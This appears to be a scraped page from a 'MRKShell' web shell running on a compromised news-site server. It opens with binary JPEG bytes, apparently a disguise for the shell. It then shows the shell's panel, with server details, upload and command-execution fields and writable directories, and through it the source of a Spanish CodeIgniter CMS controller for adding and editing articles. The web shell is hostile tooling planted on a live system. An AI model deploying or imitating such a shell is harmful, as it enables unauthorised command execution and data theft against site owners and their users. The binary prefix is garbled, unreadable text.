JFIF # -$)%7&).0444#9?92>-240 5+#+4;224;652252222225222220222522225222522;2225222222"B!1AQa"q2B#R3br5CS/!12AQ"aRq#3 ??;}q7:bd%Ո>L8/$rsrQٷf=+e: Rb0Z6pN۰7b 1S`JAT K,-֥7(bNRb9CsD/s,9?}+KA]`,EΞ@@ 3ukq14""tD@D@D@D@D@D@D@D@D@D@D@ȓ|:^Yw-)G%AI/9pwVSнm@6=g7AA5tg18gj>F'J,{C3(q<*#AzX?[$va:Q4SԽ7Uԥ&,c}nF;3mO$DN}RySm\*I"}b%7GLj;gp{{FYs(p_xOJFtStǸMU蓰s95"#H'Uq>7F5[}>v%'Y,&CqMzn}m*Xo vl˳hrӦ V)))g`7$sz^%I-1leE]y%݉>?f}( *BNNñ𜤢S[i'T1 ӥԊ>NlHď~)pKw1.UsD LI/k]Sr\r=ߴMAZNKi+P}| qBS*G*z:Imk\_|l6A7߉H\z0賈'Zt_\u>4 {\#O[ERxzLvP wOLT C0ȴ]BAʷ7uNNINS,(DDDDDDDL8MY݂N$ dMK׭i2FesmNQ=?omKv]OVl^@&pɴ[t5+E`oy.E]Ϳ}$g(7y7&X+imcT\(cHɤ|=. C =yȗXʧpv=&cX*[X_i4 GtfFՓnbMjR@ thv4LO I0zlU-_*G!cH9`nԿ \k-~rS*c[}9]qbi~+%)(h($ s;dՒG_\ё[Q,plq!pEſA RZU0*\n]a~Md_3EZ { &8e:jR*dAkyۛs\B˞0Z5%6e`3;0slSx+Xȇ"*ozkE"vܬWاQ8r @ m5$ [/KNFycgrۑ@ {""""""|xd*@s7o~7BSG|܎vøGtЍL١ѬnK/, f~^~l/Ij+!JI'^;{˚*hӤJarʮ)ڱ[P^$;%.V FLJW̔?2ԭUpJe,~b%iW Yhz̻FAl|3ln"M4kM@$2wmͣp8JY)ݬ.]3vԩİ(P*Tb/1FXTg KŮ*C9jE[69d!GZȩMu!5`H\Cp"=wSAmJjCn&/*Q[kQ~b"zΕ~)aA(2EZ0(FÑp.66_φk}T5 YdRarK ɽLSj"SnR-N-Mz~F^Igb Jq(~X fH'Ӵp5_HN(ܰ,Ȍ䶛DK%a~?FuI}"p=U+j}'p&I_ɑ-x!IٮM:w|q;9M?.6x:ODѪ̬zTL`t^?8xJ$ Q cL4d/_xy ˔ SPGNgwSrrS/`5ӧKj ,hTpI=LѦ(,Pc4*4iESO?5sMz<`&_bsTO)fkX[ xqq::h9ifVۉ\_R }JVg~Jzm`(]:O &6IOghX6+HM 7X]RkUr{HL-"< >~28b{[><@6gF5&\1̹nVŕonZM7 (SF$l\sM];owE+IֹȫzɲDߌPcMQMG)b,N ;*!uo&rHT`s^7įĴz0?P&Ҫ3]@H:hڢFҢM~p{&0s?k}+Ι9׵mw >?"fs+Odٯ̌m(R9T:UpbkW=F*ZQh urk8C8@ҧeUԀyKS '.UP,NBcpFS6n=AJl*7 4<(XY_Cda/D=()b,{yHL>[jrǹ7#M7fO`o/w]GȈEU2f\?7a)#봙݂͠SEg>VRdPfF@PV"Ꮷ_(qCJG_0?1[% NKu$7&ۭ ߡ26U$`/ 3ES:/nek |\tmSg5 س}6/qDT "(*sP4SrX)%T(6y%_ Z9<%]B}oyyY"]76*U*vjijw i3D̍IS \Jnn9ۋ>%o;~)5u56槡'z* B5#5

5#a`,>1TW{Xɘ}G4"ҕ4z5F>e6*[\;%*U0LUUr2cpnݢkɜY͌3+bG0#el۴oe,,jO*M1X/3z)W^,p>s{ İQs:ޝd|w :fIe$~+ajXjnT80'S>KIUP&kNϒT=XlȞNڞ]Yz_K[Qׂގ\gq!nB@IoG *l;_뼳\RUeэkm)qh傢5KNz٘6ba:671k{  $N vfN]S7gxg=VjG;wBx t~l/"ʭl=ԝ6n[Dٛ]@"x)# E):\8Bvkcpv4O*;coJ?4ªMCA'.\zVð'w1USݻSlTyj/ gʕ,:S')ܴ]7!A^b%P׶ٮհU3 o\}XTp,e 597n}dk6UFrVǧ3qaR:BWn>Ѻ}oxKӦK)kܑKL tCs1#?升 v{r:u)?#ZxM=ڝYـ#e}JHBGTG>GsܞG2+~R̅Hש)$[*Hfx-ugx({ I7λwvYm~ |e'X#db@hW,0H8*J5AъA`;jȊY*&sh8Jn]"M>l3z%Րsy=Um'qF sX %,Uv|0W`Gzcy*V0'3R`5ޓ Hڙ>PWbw7;)[U(:krm>/ QU+)P>Hm!r -evY>wT7ԝe)^6_SN⚓ϫ('?2Sj5,[پd|+_Pv'[]t'mΝ2l}z/dz^E|"'J qED)R2ƂSg`9Ոu5~ d!G%>M6%pdcP-P L`ϼTQnA_,24G GneRn,XnߕSzV$ReBfZuE ,Z(yi?vO!clOYA [; c I|vCom+Hꡤ\eaӴ;XS|v4%FcϷAQ[yϢ_s+Ơ&pt}=%^Sb"#gĀ'[ oAUPzr;ȔZTy4t>f種ً>T؟GRgC^-WЖukS,G LV$ܱO餰%cp)[*X_v$@DDӢ3bE-V0֍?zySyadd\ j5": Bxi?;3a]1]ZFD澙rc|8uz/ CȎ3UTqb4'ҥX 6KʖYT2fPe$6 lGzSQTP} OL1q^*rxջQ_K?'?=V MR K IS HERE

MRKShell
Server IP : 172.67.193.120  /  Your IP : 172.71.28.167
Web Server : nginx/1.14.1
System : Linux comtuc2-s-2vcpu-8gb-160gb-intel-nyc3 4.18.0-348.7.1.el8_5.x86_64 #1 SMP Wed Dec 22 13:25:12 UTC 2021 x86_64
User : nginx ( 991)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/comunicacion/produccion/hitadmin/application/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/comunicacion/produccion/hitadmin/application/controllers/Misnotas.php
<?php

defined('BASEPATH') OR exit('No direct script access allowed');

class Misnotas extends CI_Controller {

    function __construct() {
        parent::__construct();
        $this->load->model('notas_md');
        $this->load->model('secciones_md');
        $this->load->model('ediciones_md');

        $this->load->model('nota_md');
        $this->load->model('tag_md');
        $this->load->model('relacion_md');
        $this->load->model('relacion_Tag_md');
        $this->load->model('foto_md');
        $this->load->model('notasVisitas_md');
        $this->load->model('video_md');
        /* Permisos */
        $this->data["permisos_efectivos"] = $this->permisos_lib->control();

        $this->user = $this->ion_auth->user()->row();
    }

    function index() {
        $this->data['edicion'] = $this->ediciones_md->getEdicionPublicada();
        $edicion = $this->ediciones_md->getEdicionPublicada();

        $this->data['notas'] = $this->notas_md->getNotasColaborador($this->session->userdata('user_id'));
        $this->data['tags'] = $this->tag_md->getAll();
        $this->data['secciones'] = $this->secciones_md->getAllSecciones();
        $this->data['subsecciones'] = $this->secciones_md->getAllSubSecciones();
        $this->data['encuestas'] = $this->codegen_model->get('encuesta', '*', 'habilitada = 1');

        $datos_plantilla["padre"] = ucwords("");
        $datos_plantilla["title"] = ucwords("Mis Notas");
        $datos_plantilla["contenido_main"] = $this->load->view('components/misnotas/notas_index', $this->data, true);

        $this->load->view('template/panel', $datos_plantilla);
    }

    function add($edi = 0) {
        /* Configuración del CMS */
        $this->data['videon'] = $this->configuracion_md->getVideoN();
        $this->data['contenidop'] = $this->configuracion_md->getContenidoP();
        $this->data['scroll'] = $this->configuracion_md->getScrollI();
        $this->data['vistas'] = $this->configuracion_md->getVistas();
        $this->data['seccionrel'] = $this->configuracion_md->getSecciones();
        $this->data['tags'] = $this->configuracion_md->getTags();
        $this->data['comentarios'] = $this->configuracion_md->getComentarios();
        $this->data['mayores'] = $this->configuracion_md->getMayores();
        $this->data['autor'] = $this->configuracion_md->getAutor();
        /* FIN CONFIGURACIÓN */

        $this->data['secciones'] = $this->codegen_model->get('tag', '*', "tipo='Seccion' and padre_id=0");
        $this->data['seccionsub'] = $this->secciones_md->getSeccionSub();
        $this->data['subsecciones'] = $this->secciones_md->getSubsecciones();
        $this->data['periodistas'] = $this->codegen_model->get('autores', '*', "estado = 1");
        $this->data['encuestas'] = $this->codegen_model->get('encuesta', '*', "habilitada = 1");
        $this->data['tag'] = $this->codegen_model->get('tag', '*', "tipo_id = 4");

        if ($edi == 0) {
            $edicion = $this->ediciones_md->getEdicionPublicada();
            $edicion_id = $edicion['id'];
        } else {
            $edicion_id = $edi;
        }


        if ($this->input->post('enviar_form')) {
            /* CONFIGURACIÓN PARA FORMULARIO */
            /* AUDITORÍA */
            $ip = $this->input->ip_address();

            if ($ip == "0.0.0.0") {
                $ip = "unknown";
            }

            /* VIDEO EN NOTA */
            $videon = $this->configuracion_md->getVideoN();
            if ($videon->valor == 1) {
                if ($this->input->post('video_en_nota') == true) {
                    $video_en_nota = 1;
                } else {
                    $video_en_nota = 0;
                }
            } else {
                $video_en_nota = 0;
            }

            /* COMENTARIOS */
            $comentarios = $this->configuracion_md->getComentarios();
            if ($comentarios->valor == 1) {
                if ($this->input->post('comentarios') == true) {
                    $comentario = 1;
                } else {
                    $comentario = 0;
                }
            } else {
                $comentario = 0;
            }

            /* VISTAS */
            $vistas = $this->configuracion_md->getVistas();
            if ($vistas->valor == 1) {
                $vista = $this->input->post('vista');
            } else {
                $vista = 1;
            }

            // Limpio comillas del texto y agrego <> para delimitarlo
            $texto = '<texto>' . htmlentities($this->input->post('content'), ENT_QUOTES) . '</texto>';

            // Guardo si hay subcategoría
            if ($this->input->post('subcategory_id') == '') {
                $subcategory_id = 0;
            } else {
                $subcategory_id = $this->input->post('subcategory_id');
            }

            // Creo la URL
            $url_limpia = $this->varios_lb->limpiarurl($this->input->post('titulo'));
            $url_limpia = $this->varios_lb->amigar_cadena($url_limpia);
            $var = filter_var($url_limpia, FILTER_SANITIZE_STRING, FILTER_FLAG_STRIP_LOW);
            $url = trim($var) . ".html";

            $data = array(
                'edicion_id' => $edicion_id,
                'anteTitulo' => $this->input->post('antetitulo'),
                'titulo' => $this->input->post('titulo'),
                'sumario' => $this->input->post('bajada'),
                'texto' => $texto,
                'habilitada' => 0,
                'fechaAlta' => date('Y-m-d H:i:s', time()),
                'fechamod' => date('Y-m-d H:i:s', time()),
                'video_en_nota' => $video_en_nota,
                'patrocinado' => 0,
                'scroll_inactivo' => 0,
                'permisoComent' => $comentario,
                'mayor' => 0,
                'id_seccion' => $this->input->post('category_id'),
                'id_subseccion' => $subcategory_id,
                'vista' => $vista,
                'url' => $url,
                'usuario_id' => $this->session->userdata('user_id')
            );
            $nota_id = $this->codegen_model->addReturnID('nota', $data);

            /* RELACIÓN FOTO */
            if ($this->input->post('foto_id') != '') {

                $data_foto = array(
                    'nota_id' => $nota_id,
                    'objeto_id' => $this->input->post('foto_id'),
                    'tipo' => 30,
                    'orden' => 1,
                    'destacado' => 1,
                    'descripcion' => $this->input->post('epigrafe')
                );
                $this->codegen_model->add('relacion', $data_foto);
                /* AUDITORÍA FOTO */
                $audit_foto = array(
                    'usuario_id' => $this->session->userdata('user_id'),
                    'usuario_nombre' => $this->user->nombre . " " . $this->user->apellido,
                    'operacion' => "Carga de foto id " . $this->input->post('foto_id') . " en la nota " . $nota_id . " desde formulario",
                    'operacion_id' => 4,
                    'consulta' => "Nota desde formulario",
                    'objeto_id' => $nota_id,
                    'ip_origen' => $ip,
                    'fecha' => date("Y-m-d H:i:s")
                );
                $this->codegen_model->add('usuario_historial', $audit_foto);
                /* FIN AUDITORÍA FOTO */
            }
            /* FIN RELACIÓN FOTO */

            /* VIDEO */
            if ($this->input->post('video') != '') {
                $url = $this->input->post('video');
                $buscar_cod = strpos($url, 'youtu.be');
                if ($buscar_cod == false) {
                    $cod_separado = explode('=', $url);
                    $codigo = $cod_separado[1];
                } else {
                    $cod_separado = explode('/', $url);
                    $codigo = $cod_separado[3];
                }

                /* Guardo el video */
                $data_video = array(
                    'tipo' => 1,
                    'video' => $url,
                    'codigo' => $codigo,
                    'descripcion' => $this->input->post('desv'),
                    'habilitado' => 1,
                    'fechaAlta' => date("Y-m-d H:i:s"),
                    'usuario_id' => $this->session->userdata('user_id')
                );
                $video_id = $this->codegen_model->addReturnID('video', $data_video);

                /* Guardo la Relación */
                $data_rel_vid = array(
                    'nota_id' => $nota_id,
                    'objeto_id' => $video_id,
                    'tipo' => 2,
                    'orden' => 1,
                    'destacado' => 0,
                    'descripcion' => $this->input->post('desv')
                );
                $this->codegen_model->add('relacion', $data_rel_vid);

                /* AUDITORÍA VIDEO */
                $audit_video = array(
                    'usuario_id' => $this->session->userdata('user_id'),
                    'usuario_nombre' => $this->user->nombre . " " . $this->user->apellido,
                    'operacion' => "Carga del video id " . $video_id . " en la nota " . $nota_id . " desde formulario",
                    'operacion_id' => 46,
                    'consulta' => "Nota desde formulario",
                    'objeto_id' => $nota_id,
                    'ip_origen' => $ip,
                    'fecha' => date("Y-m-d H:i:s")
                );
                $this->codegen_model->add('usuario_historial', $audit_video);
                /* FIN AUDITORÍA VIDEO */
            }
            /* FIN VIDEO */

            /* RELACIÓN PERIODISTA */
            $data_per = array(
                'nota_id' => $nota_id,
                'objeto_id' => $this->user->id_periodista,
                'tipo' => 4,
                'orden' => 1,
                'destacado' => 0,
                'descripcion' => "Autor relacionado"
            );
            $this->codegen_model->add('relacion', $data_per);
            /* AUDITORÍA PERIODISTA */
            $audit_per = array(
                'usuario_id' => $this->session->userdata('user_id'),
                'usuario_nombre' => $this->user->nombre . " " . $this->user->apellido,
                'operacion' => "Nota id " . $nota_id . " relacionada con el autor id " . $this->user->id_periodista . " desde formulario",
                'operacion_id' => 47,
                'consulta' => "Nota desde formulario",
                'objeto_id' => $nota_id,
                'ip_origen' => $ip,
                'fecha' => date("Y-m-d H:i:s")
            );
            $this->codegen_model->add('usuario_historial', $audit_per);
            /* FIN AUDITORÍA PERIODISTA */
            /* FIN RELACIÓN PERIODISTA */


            /* RELACIÓN TAGS */
            if ($this->input->post('tags[]') != "") {

                $i = 0;
                foreach ($this->input->post('tags[]') as $tag) {
                    $fullstring = $tag;
                    $tag_key = $this->get_string_between($fullstring, '{"key":"', '",');
                    $tag_value = $this->get_string_between($fullstring, '"value":"', '"}');

                    // Compruebo si existen, sino los creo y los relaciono
                    if ($tag_key != "") {
                        $data_tag = array(
                            'nota_id' => $nota_id,
                            'tag_id' => $tag_key,
                            'fechaaud' => date("Y-m-d H:i:s"),
                            'tipo' => 4,
                            'orden' => $i + 1
                        );
                        $this->codegen_model->add('relacion_tag', $data_tag);
                        /* AUDITORÍA TAGS */
                        $audit_enc = array(
                            'usuario_id' => $this->session->userdata('user_id'),
                            'usuario_nombre' => $this->user->nombre . " " . $this->user->apellido,
                            'operacion' => "Nota id " . $nota_id . " relacionada con el tag id " . $tag_key . " desde formulario",
                            'operacion_id' => 68,
                            'consulta' => "Nota desde formulario",
                            'objeto_id' => $nota_id,
                            'ip_origen' => $ip,
                            'fecha' => date("Y-m-d H:i:s")
                        );
                        $this->codegen_model->add('usuario_historial', $audit_enc);
                        /* FIN AUDITORÍA TAGS */
                    } else {
                        $limpio = $this->varios_lb->limpiarurl($tag_value);
                        $data_nuevotag = array(
                            'nombre' => $tag_value,
                            'tipo' => 'Tag interno',
                            'tipo_id' => 4,
                            'alias' => $limpio,
                        );
                        $nuevotag = $this->codegen_model->addReturnID('tag', $data_nuevotag);
                        /* AUDITORÍA NUEVO TAGS */
                        $audit_enc = array(
                            'usuario_id' => $this->session->userdata('user_id'),
                            'usuario_nombre' => $this->user->nombre . " " . $this->user->apellido,
                            'operacion' => "Se ha creado un nuevo TAG id" . $nuevotag . " con el nombre " . $tag_value . " desde nota",
                            'operacion_id' => 81,
                            'consulta' => "Nota desde formulario",
                            'objeto_id' => $nota_id,
                            'ip_origen' => $ip,
                            'fecha' => date("Y-m-d H:i:s")
                        );
                        $this->codegen_model->add('usuario_historial', $audit_enc);
                        /* FIN AUDITORÍA NUEVO TAGS */

                        $data_tag = array(
                            'nota_id' => $nota_id,
                            'tag_id' => $nuevotag,
                            'fechaaud' => date("Y-m-d H:i:s"),
                            'tipo' => 4,
                            'orden' => $i + 1
                        );
                        $this->codegen_model->add('relacion_tag', $data_tag);
                        /* AUDITORÍA TAGS */
                        $audit_enc = array(
                            'usuario_id' => $this->session->userdata('user_id'),
                            'usuario_nombre' => $this->user->nombre . " " . $this->user->apellido,
                            'operacion' => "Nota id " . $nota_id . " relacionada con el tag id " . $nuevotag . " desde formulario",
                            'operacion_id' => 68,
                            'consulta' => "Nota desde formulario",
                            'objeto_id' => $nota_id,
                            'ip_origen' => $ip,
                            'fecha' => date("Y-m-d H:i:s")
                        );
                        $this->codegen_model->add('usuario_historial', $audit_enc);
                    }
                    $i++;
                }
            }
            /* FIN RELACIÓN TAGS */

            /* SECCIONES Si está activa la Config. se guarda la relación */
            $relsec = $this->configuracion_md->getSecciones();
            if ($relsec->valor == 1) {
                $data = array(
                    'nota_id' => $nota_id,
                    'tag_id' => $this->input->post('category_id'),
                    'fechaaud' => date('Y-m-d H:i:s', time()),
                    'tipo' => '5',
                    'orden' => '1'
                );
                $this->codegen_model->add('relacion_tag', $data);
            }
            /* FIN SECCIONES */

            /* AUDITORÍA NOTA */
            $audit = array(
                'usuario_id' => $this->session->userdata('user_id'),
                'usuario_nombre' => $this->user->nombre . " " . $this->user->apellido,
                'operacion' => "Alta de la nota " . $nota_id . " desde formulario",
                'operacion_id' => 3,
                'consulta' => "Nota desde formulario",
                'objeto_id' => $nota_id,
                'ip_origen' => $ip,
                'fecha' => date("Y-m-d H:i:s")
            );
            $this->codegen_model->add('usuario_historial', $audit);
            /* FIN AUDITORÍA NOTA */

            /* NOTA EN VISITAS */
            $visitas = array(
                'nota_id' => $nota_id,
            );
            $this->codegen_model->add('nota_visitas', $visitas);
            /* FIN NOTA EN VISITAS */

            /* NOTA COLABORADOR */
            $nota_col = array(
                'nota_id' => $nota_id,
                'user_id' => $this->session->userdata('user_id')
            );
            $this->codegen_model->add('nota_colaborador', $nota_col);
            /* FIN NOTA COLABORADOR */

            $message = array('message' => 'Nota ingresada correctamente', 'class' => 'alert alert-success fade-in');
            $this->session->set_flashdata('agregar', $message);

            $this->_recargar_cache($nota_id, $this->input->post('category_id'));

            if ($this->input->post('submit') == "guardar") {
                redirect(base_url() . 'misnotas/edit/' . $nota_id, 'refresh');
            } elseif ($this->input->post('submit') == "finalizar") {
                redirect(base_url() . 'misnotas/', 'refresh');
            }
        }

        $datos_plantilla["padre"] = ucwords("Notas");
        $datos_plantilla["title"] = ucwords("Agregar Nota");
        $datos_plantilla["contenido_main"] = $this->load->view('components/misnotas/notas_add', $this->data, true);

        $this->load->view('template/panel', $datos_plantilla);
    }

    function edit($id) {
        $this->data['result'] = $this->codegen_model->getEditCMS('nota', $id, 'id');
        $this->data['n_foto'] = $this->notas_md->getNotaFoto($id);
        $this->data['n_video'] = $this->notas_md->getNotaVideo($id);
        $this->data['n_periodista'] = $this->notas_md->getNotaPeriodista($id);
        $n_periodista = $this->notas_md->getNotaPeriodista($id);
        $this->data['n_encuesta'] = $this->notas_md->getNotaEncuesta($id);
        $this->data['n_tag'] = $this->notas_md->getNotaTag($id);
        $this->data['n_relacionadas'] = $this->notas_md->getNotaRelacionadas($id);
        $this->data['e_relacionadas'] = $this->notas_md->getEventoRelacionados($id);

        /* Configuración del CMS */
        $this->data['videon'] = $this->configuracion_md->getVideoN();
        $this->data['contenidop'] = $this->configuracion_md->getContenidoP();
        $this->data['scroll'] = $this->configuracion_md->getScrollI();
        $this->data['vistas'] = $this->configuracion_md->getVistas();
        $this->data['seccionrel'] = $this->configuracion_md->getSecciones();
        $this->data['tags'] = $this->configuracion_md->getTags();
        $this->data['eventos'] = $this->configuracion_md->getEventos();
        $this->data['comentarios'] = $this->configuracion_md->getComentarios();
        $this->data['mayores'] = $this->configuracion_md->getMayores();
        $this->data['autor'] = $this->configuracion_md->getAutor();
        /* FIN CONFIGURACIÓN */

        $this->data['secciones'] = $this->codegen_model->get('tag', '*', "tipo='Seccion' and padre_id=0");
        $this->data['seccionsub'] = $this->secciones_md->getSeccionSub();
        $this->data['subsecciones'] = $this->secciones_md->getSubsecciones();
        $this->data['periodistas'] = $this->codegen_model->get('autores', '*', "estado = 1");
        $this->data['encuestas'] = $this->codegen_model->get('encuesta', '*', "habilitada = 1");
        $this->data['tag'] = $this->codegen_model->get('tag', '*', "tipo_id = 4");

        $edicion = $this->ediciones_md->getEdicionPublicada();
        $edicion_hoy = $edicion['id'];
        $nota = $this->codegen_model->getEditCMS('nota', $id, 'id');
        
        /* PERMISOS */
        if ($nota->usuario_id != $this->session->userdata('user_id') || $nota->habilitada == 1) {
            $message = array('message' => 'No tiene permiso para editar esta nota', 'class' => 'alert alert-danger fade-in');
            $this->session->set_flashdata('agregar', $message);
            
            redirect(base_url() . 'misnotas/', 'refresh');
        }
        /* END PERMISOS */
        
        if ($nota->edicion_id == $edicion_hoy) {
            $edicion_id = 0;
        } else {
            $edicion_id = $nota->edicion_id;
        }

        if ($this->input->post('form_cambiar')) {
            /* CONFIGURACIÓN PARA FORMULARIO */
            /* AUDITORÍA */
            $ip = $this->input->ip_address();

            if ($ip == "0.0.0.0") {
                $ip = "unknown";
            }

            /* VIDEO EN NOTA */
            $videon = $this->configuracion_md->getVideoN();
            if ($videon->valor == 1) {
                if ($this->input->post('video_en_nota') == true) {
                    $video_en_nota = 1;
                } else {
                    $video_en_nota = 0;
                }
            } else {
                $video_en_nota = 0;
            }

            /* COMENTARIOS */
            $comentarios = $this->configuracion_md->getComentarios();
            if ($comentarios->valor == 1) {
                if ($this->input->post('comentarios') == true) {
                    $comentario = 1;
                } else {
                    $comentario = 0;
                }
            } else {
                $comentario = 0;
            }

            /* VISTAS */
            $vistas = $this->configuracion_md->getVistas();
            if ($vistas->valor == 1) {
                $vista = $this->input->post('vista');
            } else {
                $vista = 1;
            }
            /* FIN CONFIGURACIÓN PARA FORMULARIO */

            // Limpio comillas del texto y agrego <> para delimitarlo
            $texto = '<texto>' . htmlentities($this->input->post('content'), ENT_QUOTES) . '</texto>';

            // Guardo si hay subcategoría
            if ($this->input->post('subcategory_id') == '') {
                $subcategory_id = 0;
            } else {
                $subcategory_id = $this->input->post('subcategory_id');
            }

            // Creo la URL
            $url_limpia = $this->varios_lb->limpiarurl($this->input->post('titulo'));
            $url_limpia = $this->varios_lb->amigar_cadena($url_limpia);
            $var = filter_var($url_limpia, FILTER_SANITIZE_STRING, FILTER_FLAG_STRIP_LOW);
            $url = trim($var) . ".html";

            $data = array(
                'anteTitulo' => $this->input->post('antetitulo'),
                'titulo' => $this->input->post('titulo'),
                'sumario' => $this->input->post('bajada'),
                'texto' => $texto,
                'habilitada' => 0,
                'fechamod' => date('Y-m-d H:i:s', time()),
                'video_en_nota' => $video_en_nota,
                'patrocinado' => 0,
                'scroll_inactivo' => 0,
                'permisoComent' => $comentario,
                'mayor' => 0,
                'id_seccion' => $this->input->post('category_id'),
                'id_subseccion' => $subcategory_id,
                'vista' => $vista,
                'url' => $url
            );
            $this->codegen_model->edit('nota', $data, 'id', $id);

            /* SI SE EDITA LA DESCRIPCIÓN DE LA FOTO */
            if ($this->input->post('id_foto') != '') {
                $efoto = array(
                    'descripcion' => $this->input->post('epi')
                );
                $this->codegen_model->edit('relacion', $efoto, 'nota_id', $id);
            }
            /* FIN DE EDICIÓN FOTO */

            /* RELACIÓN FOTO */
            if ($this->input->post('foto_id') != '') {

                $data_foto = array(
                    'nota_id' => $id,
                    'objeto_id' => $this->input->post('foto_id'),
                    'tipo' => 30,
                    'orden' => 1,
                    'destacado' => 1,
                    'descripcion' => $this->input->post('epigrafe')
                );
                $this->codegen_model->add('relacion', $data_foto);
                /* AUDITORÍA FOTO */
                $audit_foto = array(
                    'usuario_id' => $this->session->userdata('user_id'),
                    'usuario_nombre' => $this->user->nombre . " " . $this->user->apellido,
                    'operacion' => "Carga de foto id " . $this->input->post('foto_id') . " en la nota " . $id . " desde formulario",
                    'operacion_id' => 4,
                    'consulta' => "Nota desde formulario",
                    'objeto_id' => $id,
                    'ip_origen' => $ip,
                    'fecha' => date("Y-m-d H:i:s")
                );
                $this->codegen_model->add('usuario_historial', $audit_foto);
                /* FIN AUDITORÍA FOTO */
            }
            /* FIN RELACIÓN FOTO */

            /* SI SE EDITA LA DESCRIPCIÓN DE LA VIDEO */
            if ($this->input->post('id_video') == '') {
                $evideo = array(
                    'descripcion' => $this->input->post('desc_v')
                );
                $this->codegen_model->edit('video', $evideo, 'id', $this->input->post('id_video'));
            }
            /* FIN DE EDICIÓN VIDEO */

            /* VIDEO */
            if ($this->input->post('video') != '') {
                $url = $this->input->post('video');
                $buscar_cod = strpos($url, 'youtu.be');
                if ($buscar_cod == false) {
                    $cod_separado = explode('=', $url);
                    $codigo = $cod_separado[1];
                } else {
                    $cod_separado = explode('/', $url);
                    $codigo = $cod_separado[3];
                }

                /* Guardo el video */
                $data_video = array(
                    'tipo' => 1,
                    'video' => $url,
                    'codigo' => $codigo,
                    'descripcion' => $this->input->post('desv'),
                    'habilitado' => 1,
                    'fechaAlta' => date("Y-m-d H:i:s"),
                    'usuario_id' => $this->session->userdata('user_id')
                );
                $video_id = $this->codegen_model->addReturnID('video', $data_video);

                /* Guardo la Relación */
                $data_rel_vid = array(
                    'nota_id' => $id,
                    'objeto_id' => $video_id,
                    'tipo' => 2,
                    'orden' => 1,
                    'destacado' => 0,
                    'descripcion' => $this->input->post('desv')
                );
                $this->codegen_model->add('relacion', $data_rel_vid);

                /* AUDITORÍA VIDEO */
                $audit_video = array(
                    'usuario_id' => $this->session->userdata('user_id'),
                    'usuario_nombre' => $this->user->nombre . " " . $this->user->apellido,
                    'operacion' => "Carga del video id " . $video_id . " en la nota " . $id . " desde formulario",
                    'operacion_id' => 46,
                    'consulta' => "Nota desde formulario",
                    'objeto_id' => $id,
                    'ip_origen' => $ip,
                    'fecha' => date("Y-m-d H:i:s")
                );
                $this->codegen_model->add('usuario_historial', $audit_video);
                /* FIN AUDITORÍA VIDEO */
            }
            /* FIN VIDEO */

            /* RELACIÓN TAGS */
            if ($this->input->post('tags[]') != "") {
                // Primero se eliminan los tags viejos
                $this->codegen_model->delete('relacion_tag', 'nota_id', $id);

                $i = 0;
                foreach ($this->input->post('tags[]') as $tag) {
                    $fullstring = $tag;
                    $tag_key = $this->get_string_between($fullstring, '{"key":"', '",');
                    $tag_value = $this->get_string_between($fullstring, '"value":"', '"}');

                    // Compruebo si existen, sino los creo y los relaciono
                    if ($tag_key != "") {
                        $data_tag = array(
                            'nota_id' => $id,
                            'tag_id' => $tag_key,
                            'fechaaud' => date("Y-m-d H:i:s"),
                            'tipo' => 4,
                            'orden' => $i + 1
                        );
                        $this->codegen_model->add('relacion_tag', $data_tag);
                        /* AUDITORÍA TAGS */
                        $audit_enc = array(
                            'usuario_id' => $this->session->userdata('user_id'),
                            'usuario_nombre' => $this->user->nombre . " " . $this->user->apellido,
                            'operacion' => "Nota id " . $id . " relacionada con el tag id " . $tag_key . " desde formulario",
                            'operacion_id' => 68,
                            'consulta' => "Nota desde formulario",
                            'objeto_id' => $id,
                            'ip_origen' => $ip,
                            'fecha' => date("Y-m-d H:i:s")
                        );
                        $this->codegen_model->add('usuario_historial', $audit_enc);
                        /* FIN AUDITORÍA TAGS */
                    } else {
                        $limpio = $this->varios_lb->limpiarurl($tag_value);
                        $data_nuevotag = array(
                            'nombre' => $tag_value,
                            'tipo' => 'Tag interno',
                            'tipo_id' => 4,
                            'alias' => $limpio,
                        );
                        $nuevotag = $this->codegen_model->addReturnID('tag', $data_nuevotag);
                        /* AUDITORÍA NUEVO TAGS */
                        $audit_tag = array(
                            'usuario_id' => $this->session->userdata('user_id'),
                            'usuario_nombre' => $this->user->nombre . " " . $this->user->apellido,
                            'operacion' => "Se ha creado un nuevo TAG id" . $nuevotag . " con el nombre " . $tag_value . " desde nota",
                            'operacion_id' => 81,
                            'consulta' => "Nota desde formulario",
                            'objeto_id' => $id,
                            'ip_origen' => $ip,
                            'fecha' => date("Y-m-d H:i:s")
                        );
                        $this->codegen_model->add('usuario_historial', $audit_tag);
                        /* FIN AUDITORÍA NUEVO TAGS */

                        $data_tag = array(
                            'nota_id' => $id,
                            'tag_id' => $nuevotag,
                            'fechaaud' => date("Y-m-d H:i:s"),
                            'tipo' => 4,
                            'orden' => $i + 1
                        );
                        $this->codegen_model->add('relacion_tag', $data_tag);
                        /* AUDITORÍA TAGS */
                        $audit_enc = array(
                            'usuario_id' => $this->session->userdata('user_id'),
                            'usuario_nombre' => $this->user->nombre . " " . $this->user->apellido,
                            'operacion' => "Nota id " . $id . " relacionada con el tag id " . $nuevotag . " desde formulario",
                            'operacion_id' => 68,
                            'consulta' => "Nota desde formulario",
                            'objeto_id' => $id,
                            'ip_origen' => $ip,
                            'fecha' => date("Y-m-d H:i:s")
                        );
                        $this->codegen_model->add('usuario_historial', $audit_enc);
                    }
                    $i++;
                }
            }
            /* FIN RELACIÓN TAGS */

            /* AUDITORÍA NOTA */
            $audit = array(
                'usuario_id' => $this->session->userdata('user_id'),
                'usuario_nombre' => $this->user->nombre . " " . $this->user->apellido,
                'operacion' => "Modificación de la nota " . $id . " desde formulario",
                'operacion_id' => 13,
                'consulta' => "Nota desde formulario",
                'objeto_id' => $id,
                'ip_origen' => $ip,
                'fecha' => date("Y-m-d H:i:s")
            );
            $this->codegen_model->add('usuario_historial', $audit);
            /* FIN AUDITORÍA NOTA */


            $messge = array('message' => 'Nota editada correctamente', 'class' => 'alert alert-success fade-in');
            $this->session->set_flashdata('actualizar', $messge);

            $this->_recargar_cache($id, $this->input->post('category_id'));

            if ($this->input->post('submit') == "actualizar") {
                redirect(base_url() . 'misnotas/edit/' . $id);
            } elseif ($this->input->post('submit') == "finalizar") {
                redirect(base_url() . 'misnotas', 'refresh');
            }
        }

